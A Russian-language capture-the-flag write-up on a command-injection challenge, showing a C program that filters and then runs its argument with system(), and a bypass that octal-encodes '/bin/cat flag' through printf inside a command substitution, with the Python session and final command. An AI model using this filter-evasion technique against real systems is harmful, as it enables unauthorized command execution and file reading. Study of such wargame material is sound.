Это очень интересный вызов. Посмотрите на его исходный код:
int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; }
Мы замечаем, что:
- Все переменные среды не установлены, а
$PATH
установлен в несуществующий каталог, что означает, что мы также не можем использовать$SHELL
или$PWD
и т. д.. - Фильтр улучшен, запрещена любая косая черта. Это очень строгий подход, потому что фильтрацию такого слова, как «флаг», довольно легко обойти с помощью простого подстановочного знака, а этот единственный символ — нет. Это буквально запрещает нам использовать путь, либо путь к команде, либо путь к флагу, либо даже текущий каталог…
Здесь не так много вариантов, подумайте: какая команда либо не полагается на $PATH
, либо вообще не нуждается в пути? Встроенные команды оболочки!!
С bash вы можете легко найти все встроенные команды по help
. Глядя на них, какие из них мы могли бы выбрать?
pwd
? Но мы по-прежнему должны использовать косую черту для конкатенации.
source
? Хорошо!! Мы могли бы создать собственный сценарий оболочки для установки исходного $PATH
, верно? Но проблема в том, что «/bin/sh» — это не bash
, а dash
, dash
не имеет source
, но имеет .
, который по-прежнему зависит от $PATH
или пути, который вы ему указываете… Эх, мы тоже не можем его использовать.
Похоже, нам нужно пройти фильтр косой черты. Посмотрите еще раз на исходный код, он проверяет /
, так что, может быть, мы можем передать что-то еще для /
? Как насчет его значения ASCII? Как насчет использования echo
и printf
?
echo
легко исключить, потому что echo
из дефиса не поддерживает символы обратной косой черты. Мы можем использовать только printf
, хотя он поддерживает только восьмеричные числа:
\num Write an 8-bit character whose ASCII value is the 1-, 2-, or 3-digit octal number num.
Достаточно. Теперь давайте закодируем командную строку, которую мы хотим выполнить, в восьмеричные числа с помощью python:
$ ~> python Python 2.7.13 (default, Mar 22 2017, 12:31:17) [GCC] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> s = "/bin/cat flag" >>> [str(oct(ord(c))) for c in s] ['057', '0142', '0151', '0156', '057', '0143', '0141', '0164', '040', '0146', '0154', '0141', '0147'] >>> [str(oct(ord(c))).lstrip('0') for c in s] ['57', '142', '151', '156', '57', '143', '141', '164', '40', '146', '154', '141', '147'] >>> [(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s] ['\\57', '\\142', '\\151', '\\156', '\\57', '\\143', '\\141', '\\164', '\\40', '\\146', '\\154', '\\141', '\\147'] >>> "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s]) '\\57\\142\\151\\156\\57\\143\\141\\164\\40\\146\\154\\141\\147' >>> print "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s]) \57\142\151\156\57\143\141\164\40\146\154\141\147
Теперь передайте эту строку восьмеричного числа в cmd2, тщательно позаботившись о двойных и одинарных кавычках:
$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")'
Теперь вы можете увидеть флаг!